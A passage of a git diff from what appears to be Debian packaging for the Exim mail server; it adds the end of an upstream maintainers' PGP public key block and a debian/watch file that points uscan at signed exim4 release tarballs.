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
+=q8ga
+-----END PGP PUBLIC KEY BLOCK-----
diff --git a/debian/watch b/debian/watch
new file mode 100644
index 0000000..cc041be
--- /dev/null
+++ b/debian/watch
@@ -0,0 +1,3 @@
+version=3
+opts=pgpsigurlmangle=s/$/.asc/,uversionmangle=s/[_-]/~/g \
+https://downloads.exim.org/exim4/exim-(\d.*)\.(?:tgz|tar\.(?:gz|bz2|xz))